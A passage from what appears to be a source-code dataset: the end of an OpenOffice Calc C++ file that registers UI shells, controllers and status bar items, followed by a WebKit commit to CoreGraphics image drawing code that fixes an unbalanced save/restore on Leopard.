as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef PCH\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n#include <svx\/eeitem.hxx>\n#define ITEMID_FIELD EE_FEATURE_FIELD\n\n#include \"scitems.hxx\" \/\/ fuer tbxctrls etc.\n#include \"scmod.hxx\"\n#include \"scresid.hxx\"\n#include \"sc.hrc\"\n#include \"cfgids.hxx\"\n\n\/\/! die Registrierung wird wegen CLOOKs in ein eigenes File wandern muessen...\n\n\/\/ Interface-Registrierung\n#include \"docsh.hxx\"\n#include \"tabvwsh.hxx\"\n#include \"prevwsh.hxx\"\n#include \"drawsh.hxx\"\n#include \"drformsh.hxx\"\n#include \"drtxtob.hxx\"\n#include \"editsh.hxx\"\n#include \"pivotsh.hxx\"\n#include \"auditsh.hxx\"\n#include \"cellsh.hxx\"\n#include \"oleobjsh.hxx\"\n#include \"chartsh.hxx\"\n#include \"graphsh.hxx\"\n#include \"pgbrksh.hxx\"\n\n#include \"docpool.hxx\"\n#include \"appoptio.hxx\"\n\n\/\/ Controls\n\n#include <svx\/tbxalign.hxx>\n#include <svx\/tbxctl.hxx>\n#include <svx\/fillctrl.hxx>\n#include <svx\/linectrl.hxx>\n#include <svx\/tbcontrl.hxx>\n#include <svx\/selctrl.hxx>\n#include <svx\/insctrl.hxx>\n#include <svx\/zoomctrl.hxx>\n#include <svx\/flditem.hxx>\n#include <svx\/modctrl.hxx>\n#include <svx\/pszctrl.hxx>\n#include <svx\/fntctl.hxx>\n#include <svx\/fntszctl.hxx>\n#include <svx\/grafctrl.hxx>\n\n#include \"tbinsert.hxx\"\n\n\/\/ Child-Windows\n#include \"reffact.hxx\"\n#include \"navipi.hxx\"\n#include \"inputwin.hxx\"\n#include <svx\/fontwork.hxx>\n#include <svx\/srchdlg.hxx>\n#include <offmgr\/hyprlink.hxx>\n#include <svx\/imapdlg.hxx>\n\n#include \"editutil.hxx\"\n#include <svx\/svdfield.hxx> \/\/ SdrRegisterFieldClasses\n\n#include \"dwfunctr.hxx\"\n#include \"acredlin.hxx\"\n\n\/\/------------------------------------------------------------------\n\nScResId::ScResId( USHORT nId ) :\n ResId( nId, SC_MOD()->GetResMgr() )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nvoid ScDLL::Init()\n{\n \/\/ called directly after loading the DLL\n \/\/ do whatever you want, you may use Sxx-DLL too\n\n ScDocumentPool::InitVersionMaps(); \/\/ wird im ScModule ctor gebraucht\n\n \/\/ the ScModule must be created\n ScModuleDummy **ppShlPtr = (ScModuleDummy**) GetAppData(SHL_CALC);\n#ifndef SO3\n SvFactory *pFact = (*ppShlPtr)->pScDocShellFactory;\n#else\n SvFactory *pFact = (SvFactory*)(*ppShlPtr)->pScDocShellFactory;\n#endif\n ScLibSignalFunc pFunc = (*ppShlPtr)->pSignalFunc;\n delete (*ppShlPtr);\n ScModule* pMod = new ScModule((SfxObjectFactory*)pFact);\n (*ppShlPtr) = pMod;\n (*ppShlPtr)->pScDocShellFactory = pFact;\n (*ppShlPtr)->pSignalFunc = pFunc;\n\n ScGlobal::Init(); \/\/ erst wenn der ResManager initialisiert ist\n \/\/ erst nach ScGlobal::Init duerfen die App-Optionen\n \/\/ initialisiert werden\n\n \/\/ register your view-factories here\n\n ScTabViewShell ::RegisterFactory(1);\n ScPreviewShell ::RegisterFactory(2);\n\n \/\/ register your shell-interfaces here\n\n ScModule ::RegisterInterface(pMod);\n ScDocShell ::RegisterInterface(pMod);\n ScTabViewShell ::RegisterInterface(pMod);\n ScPreviewShell ::RegisterInterface(pMod);\n ScDrawShell ::RegisterInterface(pMod);\n ScDrawFormShell ::RegisterInterface(pMod);\n ScDrawTextObjectBar ::RegisterInterface(pMod);\n ScEditShell ::RegisterInterface(pMod);\n ScPivotShell ::RegisterInterface(pMod);\n ScAuditingShell ::RegisterInterface(pMod);\n ScFormatShell ::RegisterInterface(pMod);\n ScCellShell ::RegisterInterface(pMod);\n ScOleObjectShell ::RegisterInterface(pMod);\n ScChartShell ::RegisterInterface(pMod);\n ScGraphicShell ::RegisterInterface(pMod);\n ScPageBreakShell ::RegisterInterface(pMod);\n\n\n\n \/\/ register your controllers here\n\n ScDocShell::Factory().RegisterMenuBar( ScResId(SCCFG_MENUBAR) );\n ScDocShell::Factory().RegisterPluginMenuBar( ScResId(SCCFG_PLUGINMENU) );\n ScDocShell::Factory().RegisterAccel( ScResId(SCCFG_ACCELERATOR) );\n\n \/\/ eigene Controller\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSERT, pMod);\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSCELLS, pMod);\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSOBJ, pMod);\n\n \/\/ Svx-Toolbox-Controller\n SvxTbxCtlDraw ::RegisterControl(SID_INSERT_DRAW, pMod);\n SvxTbxCtlAlign ::RegisterControl(SID_OBJECT_ALIGN, pMod);\n SvxFillToolBoxControl ::RegisterControl(0, pMod);\n SvxLineStyleToolBoxControl ::RegisterControl(0, pMod);\n SvxLineWidthToolBoxControl ::RegisterControl(0, pMod);\n SvxLineColorToolBoxControl ::RegisterControl(0, pMod);\n SvxLineEndToolBoxControl ::RegisterControl(SID_ATTR_LINEEND_STYLE, pMod);\n SvxStyleToolBoxControl ::RegisterControl(SID_STYLE_APPLY, pMod);\n SvxFontNameToolBoxControl ::RegisterControl(SID_ATTR_CHAR_FONT, pMod);\n SvxFontHeightToolBoxControl ::RegisterControl(SID_ATTR_CHAR_FONTHEIGHT, pMod);\n SvxFontColorToolBoxControl ::RegisterControl(SID_ATTR_CHAR_COLOR, pMod);\n SvxColorToolBoxControl ::RegisterControl(SID_BACKGROUND_COLOR, pMod);\n SvxFrameToolBoxControl ::RegisterControl(SID_ATTR_BORDER, pMod);\n SvxFrameLineStyleToolBoxControl ::RegisterControl(SID_FRAME_LINESTYLE, pMod);\n SvxFrameLineColorToolBoxControl ::RegisterControl(SID_FRAME_LINECOLOR, pMod);\n\n SvxGrafModeToolBoxControl ::RegisterControl(SID_ATTR_GRAF_MODE, pMod);\n SvxGrafRedToolBoxControl ::RegisterControl(SID_ATTR_GRAF_RED, pMod);\n SvxGrafGreenToolBoxControl ::RegisterControl(SID_ATTR_GRAF_GREEN, pMod);\n SvxGrafBlueToolBoxControl ::RegisterControl(SID_ATTR_GRAF_BLUE, pMod);\n SvxGrafLuminanceToolBoxControl ::RegisterControl(SID_ATTR_GRAF_LUMINANCE, pMod);\n SvxGrafContrastToolBoxControl ::RegisterControl(SID_ATTR_GRAF_CONTRAST, pMod);\n SvxGrafGammaToolBoxControl ::RegisterControl(SID_ATTR_GRAF_GAMMA, pMod);\n SvxGrafTransparenceToolBoxControl::RegisterControl(SID_ATTR_GRAF_TRANSPARENCE, pMod);\n\n \/\/ Svx-StatusBar-Controller\n SvxInsertStatusBarControl ::RegisterControl(SID_ATTR_INSERT, pMod);\n SvxSelectionModeControl ::RegisterControl(SID_STATUS_SELMODE, pMod);\n SvxZoomStatusBarControl ::RegisterControl(SID_ATTR_ZOOM, pMod);\n SvxModifyControl ::RegisterControl(SID_DOC_MODIFIED, pMod);\n SvxPosSizeStatusBarControl ::RegisterControl(SID_ATTR_SIZE, pMod);\n\n \/\/ Svx-Menue-Controller\n SvxFontMenuControl ::RegisterControl(SID_ATTR_CHAR_FONT, pMod);\n SvxFontSizeMenuControl ::RegisterControl(SID_ATTR_CHAR_FONTHEIGHT, pMod);\n\n \/\/ Child-Windows\n\n \/\/ Hack: Eingabezeile mit 42 registrieren, damit sie im PlugIn immer sichtbar ist\n ScInputWindowWrapper ::RegisterChildWindow(42, pMod, SFX_CHILDWIN_TASK);\n ScNavigatorDialogWrapper ::RegisterChildWindowContext(pMod);\n ScSolverDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScNameDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScPivotLayoutWrapper ::RegisterChildWindow(FALSE, pMod);\n ScTabOpDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScFilterDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScSpecialFilterDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScDbNameDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScConsolidateDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScChartDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScPrintAreasDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScCondFormatDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScColRowNameRangesDlgWrapper::RegisterChildWindow(FALSE, pMod);\n ScFormulaDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ First docking Window for Calc\n ScFunctionChildWindow ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ Redlining- Window\n ScAcceptChgDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScSimpleRefDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScHighlightChgDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n\n\n SvxFontWorkChildWindow ::RegisterChildWindow(FALSE, pMod);\n SvxHyperlinkDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n SvxIMapDlgChildWindow ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ Edit-Engine-Felder, soweit nicht schon in OfficeApplication::Init\n\n SvClassManager& rClassManager = SvxFieldItem::GetClassManager();\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxURLField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxDateField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxPageField );\n rClassManager.SV_CLASS_REGISTER( SvxPagesField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxTimeField );\n rClassManager.SV_CLASS_REGISTER( SvxFileField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxExtFileField );\n rClassManager.SV_CLASS_REGISTER( SvxTableField );\n\n SdrRegisterFieldClasses(); \/\/ SvDraw-Felder registrieren\n\n pMod->PutItem( SfxUInt16Item( SID_ATTR_METRIC, pMod->GetAppOptions().GetAppMetric() ) );\n\n \/\/ StarOne Services are now handled in the registry\n}\n\nvoid ScDLL::Exit()\n{\n \/\/ called directly befor unloading the DLL\n \/\/ do whatever you want, Sxx-DLL is accessible\n\n \/\/ the SxxModule must be destroyed\n ScModuleDummy **ppShlPtr = (ScModuleDummy**) GetAppData(SHL_CALC);\n delete (*ppShlPtr);\n (*ppShlPtr) = NULL;\n\n \/\/ auf keinen Fall ein neues ScModuleDummy anlegen, weil dessen vtable sonst\n \/\/ in der DLL waere und das Loeschen im LibExit schiefgehen wuerde\n\n \/\/ ScGlobal::Clear ist schon im Module-dtor\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Statusbar\n\/\/------------------------------------------------------------------\n\n#define TEXT_WIDTH(s) rStatusBar.GetTextWidth((s))\n\nvoid ScDLL::FillStatusBar(StatusBar &rStatusBar)\n{\n \/\/ Dokumentposition (Tabelle x \/ y)\n rStatusBar.InsertItem( SID_STATUS_DOCPOS,\n TEXT_WIDTH( String().Fill( 10, 'X' ) ),\n SIB_LEFT|SIB_AUTOSIZE );\n\n \/\/ Seitenvorlage\n rStatusBar.InsertItem( SID_STATUS_PAGESTYLE,\n TEXT_WIDTH( String().Fill( 15, 'X' ) ),\n SIB_LEFT|SIB_AUTOSIZE );\n\n \/\/ Ma\"sstab\n rStatusBar.InsertItem( SID_ATTR_ZOOM,\n SvxZoomStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Einfuege-\/Ueberschreibmodus\n rStatusBar.InsertItem( SID_ATTR_INSERT,\n SvxInsertStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Selektionsmodus\n rStatusBar.InsertItem( SID_STATUS_SELMODE,\n SvxSelectionModeControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Dokument geaendert\n rStatusBar.InsertItem( SID_DOC_MODIFIED,\n SvxModifyControl::GetDefItemWidth(rStatusBar));\n\n \/\/ Mail\n rStatusBar.InsertItem( SID_MAIL_NOTIFY,\n TEXT_WIDTH( String::CreateFromAscii(RTL_CONSTASCII_STRINGPARAM(\"Mail\")) ),\n SIB_CENTER );\n\n \/\/ den aktuellen Kontext anzeigen Uhrzeit \/ FramePos \/ TabellenInfo \/ Errors\n rStatusBar.InsertItem( SID_ATTR_SIZE,\n SvxPosSizeStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_AUTOSIZE|SIB_LEFT|SIB_USERDRAW);\n}\n\n#undef TEXT_WIDTH\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include \"config.h\"\n#include \"BitmapImage.h\"\n\n#if PLATFORM(CG)\n\n#include \"AffineTransform.h\"\n#include \"FloatConversion.h\"\n#include \"FloatRect.h\"\n#include \"GraphicsContext.h\"\n#include \"ImageObserver.h\"\n#include \"PDFDocumentImage.h\"\n#include \"PlatformString.h\"\n#include <ApplicationServices\/ApplicationServices.h>\n#include \"WebCoreSystemInterface.h\"\n\n#if PLATFORM(WIN)\n#include <WebKitSystemInterface\/WebKitSystemInterface.h>\n#endif\n\nnamespace WebCore {\n\nvoid FrameData::clear()\n{\n if (m_frame) {\n CGImageRelease(m_frame);\n m_frame = 0;\n m_duration = 0.0f;\n m_hasAlpha = true;\n }\n}\n\n\/\/ ================================================\n\/\/ Image Class\n\/\/ ================================================\n\n\/\/ Drawing Routines\n\nvoid BitmapImage::checkForSolidColor()\n{\n if (frameCount() > 1)\n m_isSolidColor = false;\n else {\n CGImageRef image = frameAtIndex(0);\n \n \/\/ Currently we only check for solid color in the important special case of a 1x1 image.\n if (image && CGImageGetWidth(image) == 1 && CGImageGetHeight(image) == 1) {\n unsigned char pixel[4]; \/\/ RGBA\n CGColorSpaceRef space = CGColorSpaceCreateDeviceRGB();\n CGContextRef bmap = CGBitmapContextCreate(pixel, 1, 1, 8, sizeof(pixel), space,\n kCGImageAlphaPremultipliedLast | kCGBitmapByteOrder32Big);\n if (bmap) {\n GraphicsContext(bmap).setCompositeOperation(CompositeCopy);\n CGRect dst = { {0, 0}, {1, 1} };\n CGContextDrawImage(bmap, dst, image);\n if (pixel[3] == 0)\n m_solidColor = Color(0, 0, 0, 0);\n else\n m_solidColor = Color(pixel[0] * 255 \/ pixel[3], pixel[1] * 255 \/ pixel[3], pixel[2] * 255 \/ pixel[3], pixel[3]);\n m_isSolidColor = true;\n CFRelease(bmap);\n } \n CFRelease(space);\n }\n }\n}\n\nCGImageRef BitmapImage::getCGImageRef()\n{\n return frameAtIndex(0);\n}\n\nvoid BitmapImage::draw(GraphicsContext* ctxt, const FloatRect& dstRect, const FloatRect& srcRect, CompositeOperator compositeOp)\n{\n if (!m_source.initialized())\n return;\n \n CGRect fr = ctxt->roundToDevicePixels(srcRect);\n CGRect ir = ctxt->roundToDevicePixels(dstRect);\n\n CGImageRef image = frameAtIndex(m_currentFrame);\n if (!image) \/\/ If it's too early we won't have an image yet.\n return;\n \n if (mayFillWithSolidColor()) {\n fillWithSolidColor(ctxt, ir, solidColor(), compositeOp);\n return;\n }\n\n CGContextRef context = ctxt->platformContext();\n ctxt->save();\n\n \/\/ Get the height (in adjusted, i.e. scaled, coords) of the portion of the image\n \/\/ that is currently decoded. This could be less that the actual height.\n CGSize selfSize = size(); \/\/ full image size, in pixels\n float curHeight = CGImageGetHeight(image); \/\/ height of loaded portion, in pixels\n \n CGSize adjustedSize = selfSize;\n if (curHeight < selfSize.height) {\n adjustedSize.height *= curHeight \/ selfSize.height;\n\n \/\/ Is the amount of available bands less than what we need to draw? If so,\n \/\/ we may have to clip 'fr' if it goes outside the available bounds.\n if (CGRectGetMaxY(fr) > adjustedSize.height) {\n float frHeight = adjustedSize.height - fr.origin.y; \/\/ clip fr to available bounds\n if (frHeight <= 0)\n return; \/\/ clipped out entirely\n ir.size.height *= (frHeight \/ fr.size.height); \/\/ scale ir proportionally to fr\n fr.size.height = frHeight;\n }\n }\n\n \/\/ Flip the coords.\n ctxt->setCompositeOperation(compositeOp);\n CGContextTranslateCTM(context, ir.origin.x, ir.origin.y);\n CGContextScaleCTM(context, 1, -1);\n CGContextTranslateCTM(context, 0, -ir.size.height);\n \n \/\/ Translated to origin, now draw at 0,0.\n ir.origin.x = ir.origin.y = 0;\n \n \/\/ If we're drawing a sub portion of the image then create\n \/\/ a image for the sub portion and draw that.\n \/\/ Test using example site at http:\/\/www.meyerweb.com\/eric\/css\/edge\/complexspiral\/demo.html\n if (fr.size.width != adjustedSize.width || fr.size.height != adjustedSize.height) {\n \/\/ Convert ft to image pixel coords:\n float xscale = adjustedSize.width \/ selfSize.width;\n float yscale = adjustedSize.height \/ curHeight; \/\/ yes, curHeight, not selfSize.height!\n fr.origin.x \/= xscale;\n fr.origin.y \/= yscale;\n fr.size.width \/= xscale;\n fr.size.height \/= yscale;\n \n image = CGImageCreateWithImageInRect(image, fr);\n if (image) {\n CGContextDrawImage(context, ir, image);\n CFRelease(image);\n }\n } else \/\/ Draw the whole image.\n CGContextDrawImage(context, ir, image);\n \n ctxt->restore();\n \n startAnimation();\n\n if (imageObserver())\n imageObserver()->didDraw(this);\n}\n\nstruct ImageInfo {\n ImageInfo(const FloatPoint& point, Image* i)\n : tilePoint(point)\n , image(i)\n {}\n \n FloatPoint tilePoint;\n Image* image;\n};\n\nvoid Image::drawPatternCallback(void* info, CGContextRef context)\n{\n ImageInfo* data = (ImageInfo*)info;\n CGImageRef image = data->image->nativeImageForCurrentFrame();\n CGContextDrawImage(context, GraphicsContext(context).roundToDevicePixels(FloatRect(data->tilePoint.x(), data->tilePoint.y(), CGImageGetWidth(image), CGImageGetHeight(image))), image);\n}\n\nvoid Image::drawPattern(GraphicsContext* ctxt, const FloatRect& tileRect, const AffineTransform& patternTransform,\n const FloatPoint& phase, CompositeOperator op, const FloatRect& destRect)\n{\n CGContextRef context = ctxt->platformContext();\n ctxt->save();\n CGContextClipToRect(context, destRect);\n ctxt->setCompositeOperation(op);\n CGContextTranslateCTM(context, destRect.x(), destRect.y());\n CGContextScaleCTM(context, 1, -1);\n CGContextTranslateCTM(context, 0, -destRect.height());\n \n \/\/ Compute the scaled tile size.\n float scaledTileHeight = tileRect.height() * narrowPrecisionToFloat(patternTransform.d());\n \n \/\/ We have to adjust the phase to deal with the fact we're in Cartesian space now (with the bottom left corner of destRect being\n \/\/ the origin).\n float adjustedX = phase.x() - destRect.x() + tileRect.x() * narrowPrecisionToFloat(patternTransform.a()); \/\/ We translated the context so that destRect.x() is the origin, so subtract it out.\n float adjustedY = destRect.height() - (phase.y() - destRect.y() + tileRect.y() * narrowPrecisionToFloat(patternTransform.d()) + scaledTileHeight);\n\n CGImageRef tileImage = nativeImageForCurrentFrame();\n float h = CGImageGetHeight(tileImage);\n \n#ifndef BUILDING_ON_TIGER\n \/\/ Leopard has an optimized call for the tiling of image patterns, but we can only use it if the image has been decoded enough that\n \/\/ its buffer is the same size as the overall image. Because a partially decoded CGImageRef with a smaller width or height than the\n \/\/ overall image buffer needs to tile with \"gaps\", we can't use the optimized tiling call in that case. We also avoid this optimization\n \/\/ when tiling portions of an image, since until we can actually cache the subimage we want to tile, this code won't be any faster.\n \/\/ FIXME: Could create WebKitSystemInterface SPI for CGCreatePatternWithImage2 and probably make Tiger tile faster as well.\n float scaledTileWidth = tileRect.width() * narrowPrecisionToFloat(patternTransform.a());\n float w = CGImageGetWidth(tileImage);\n if (w == size().width() && h == size().height() && tileRect.size() == size())\n CGContextDrawTiledImage(context, FloatRect(adjustedX, adjustedY, scaledTileWidth, scaledTileHeight), tileImage);\n else {\n#endif\n\n \/\/ On Leopard, this code now only runs for partially decoded images whose buffers do not yet match the overall size of the image or for\n \/\/ tiling a portion of an image (i.e., a subimage like the ones used by CSS border-image).\n \/\/ On Tiger this code runs all the time. This code is suboptimal because the pattern does not reference the image directly, and the\n \/\/ pattern is destroyed before exiting the function. This means any decoding the pattern does doesn't end up cached anywhere, so we\n \/\/ redecode every time we paint.\n static const CGPatternCallbacks patternCallbacks = { 0, drawPatternCallback, NULL };\n CGAffineTransform matrix = CGAffineTransformMake(narrowPrecisionToCGFloat(patternTransform.a()), 0, 0, narrowPrecisionToCGFloat(patternTransform.d()), adjustedX, adjustedY);\n matrix = CGAffineTransformConcat(matrix, CGContextGetCTM(context));\n \n \/\/ If we're painting a subimage, store the offset to the image.\n ImageInfo info(FloatPoint(-tileRect.x(), tileRect.y() + tileRect.height() - h), this);\n CGPatternRef pattern = CGPatternCreate(&info, CGRectMake(0, 0, tileRect.width(), tileRect.height()),\n matrix, tileRect.width(), tileRect.height(), \n kCGPatternTilingConstantSpacing, true, &patternCallbacks);\n if (pattern == NULL) {\n ctxt->restore();\n return;\n }\n\n CGColorSpaceRef patternSpace = CGColorSpaceCreatePattern(NULL);\n \n CGFloat alpha = 1;\n CGColorRef color = CGColorCreateWithPattern(patternSpace, pattern, &alpha);\n CGContextSetFillColorSpace(context, patternSpace);\n CGColorSpaceRelease(patternSpace);\n CGPatternRelease(pattern);\n\n \/\/ FIXME: Really want a public API for this. It is just CGContextSetBaseCTM(context, CGAffineTransformIdentiy).\n wkSetPatternBaseCTM(context, CGAffineTransformIdentity);\n CGContextSetPatternPhase(context, CGSizeZero);\n\n CGContextSetFillColorWithColor(context, color);\n CGContextFillRect(context, CGContextGetClipBoundingBox(context));\n \n CGColorRelease(color);\n \n ctxt->restore();\n \n#ifndef BUILDING_ON_TIGER\n }\n#endif\n\n if (imageObserver())\n imageObserver()->didDraw(this);\n}\n\n\n}\n\n#endif \/\/ PLATFORM(CG)\n<commit_msg>Fix unbalanced save\/restore on Leopard only.<commit_after>\/*\n * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include \"config.h\"\n#include \"BitmapImage.h\"\n\n#if PLATFORM(CG)\n\n#include \"AffineTransform.h\"\n#include \"FloatConversion.h\"\n#include \"FloatRect.h\"\n#include \"GraphicsContext.h\"\n#include \"ImageObserver.h\"\n#include \"PDFDocumentImage.h\"\n#include \"PlatformString.h\"\n#include <ApplicationServices\/ApplicationServices.h>\n#include \"WebCoreSystemInterface.h\"\n\n#if PLATFORM(WIN)\n#include <WebKitSystemInterface\/WebKitSystemInterface.h>\n#endif\n\nnamespace WebCore {\n\nvoid FrameData::clear()\n{\n if (m_frame) {\n CGImageRelease(m_frame);\n m_frame = 0;\n m_duration = 0.0f;\n m_hasAlpha = true;\n }\n}\n\n\/\/ ================================================\n\/\/ Image Class\n\/\/ ================================================\n\n\/\/ Drawing Routines\n\nvoid BitmapImage::checkForSolidColor()\n{\n if (frameCount() > 1)\n m_isSolidColor = false;\n else {\n CGImageRef image = frameAtIndex(0);\n \n \/\/ Currently we only check for solid color in the important special case of a 1x1 image.\n if (image && CGImageGetWidth(image) == 1 && CGImageGetHeight(image) == 1) {\n unsigned char pixel[4]; \/\/ RGBA\n CGColorSpaceRef space = CGColorSpaceCreateDeviceRGB();\n CGContextRef bmap = CGBitmapContextCreate(pixel, 1, 1, 8, sizeof(pixel), space,\n kCGImageAlphaPremultipliedLast | kCGBitmapByteOrder32Big);\n if (bmap) {\n GraphicsContext(bmap).setCompositeOperation(CompositeCopy);\n CGRect dst = { {0, 0}, {1, 1} };\n CGContextDrawImage(bmap, dst, image);\n if (pixel[3] == 0)\n m_solidColor = Color(0, 0, 0, 0);\n else\n m_solidColor = Color(pixel[0] * 255 \/ pixel[3], pixel[1] * 255 \/ pixel[3], pixel[2] * 255 \/ pixel[3], pixel[3]);\n m_isSolidColor = true;\n CFRelease(bmap);\n } \n CFRelease(space);\n }\n }\n}\n\nCGImageRef BitmapImage::getCGImageRef()\n{\n return frameAtIndex(0);\n}\n\nvoid BitmapImage::draw(GraphicsContext* ctxt, const FloatRect& dstRect, const FloatRect& srcRect, CompositeOperator compositeOp)\n{\n if (!m_source.initialized())\n return;\n \n CGRect fr = ctxt->roundToDevicePixels(srcRect);\n CGRect ir = ctxt->roundToDevicePixels(dstRect);\n\n CGImageRef image = frameAtIndex(m_currentFrame);\n if (!image) \/\/ If it's too early we won't have an image yet.\n return;\n \n if (mayFillWithSolidColor()) {\n fillWithSolidColor(ctxt, ir, solidColor(), compositeOp);\n return;\n }\n\n CGContextRef context = ctxt->platformContext();\n ctxt->save();\n\n \/\/ Get the height (in adjusted, i.e. scaled, coords) of the portion of the image\n \/\/ that is currently decoded. This could be less that the actual height.\n CGSize selfSize = size(); \/\/ full image size, in pixels\n float curHeight = CGImageGetHeight(image); \/\/ height of loaded portion, in pixels\n \n CGSize adjustedSize = selfSize;\n if (curHeight < selfSize.height) {\n adjustedSize.height *= curHeight \/ selfSize.height;\n\n \/\/ Is the amount of available bands less than what we need to draw? If so,\n \/\/ we may have to clip 'fr' if it goes outside the available bounds.\n if (CGRectGetMaxY(fr) > adjustedSize.height) {\n float frHeight = adjustedSize.height - fr.origin.y; \/\/ clip fr to available bounds\n if (frHeight <= 0)\n return; \/\/ clipped out entirely\n ir.size.height *= (frHeight \/ fr.size.height); \/\/ scale ir proportionally to fr\n fr.size.height = frHeight;\n }\n }\n\n \/\/ Flip the coords.\n ctxt->setCompositeOperation(compositeOp);\n CGContextTranslateCTM(context, ir.origin.x, ir.origin.y);\n CGContextScaleCTM(context, 1, -1);\n CGContextTranslateCTM(context, 0, -ir.size.height);\n \n \/\/ Translated to origin, now draw at 0,0.\n ir.origin.x = ir.origin.y = 0;\n \n \/\/ If we're drawing a sub 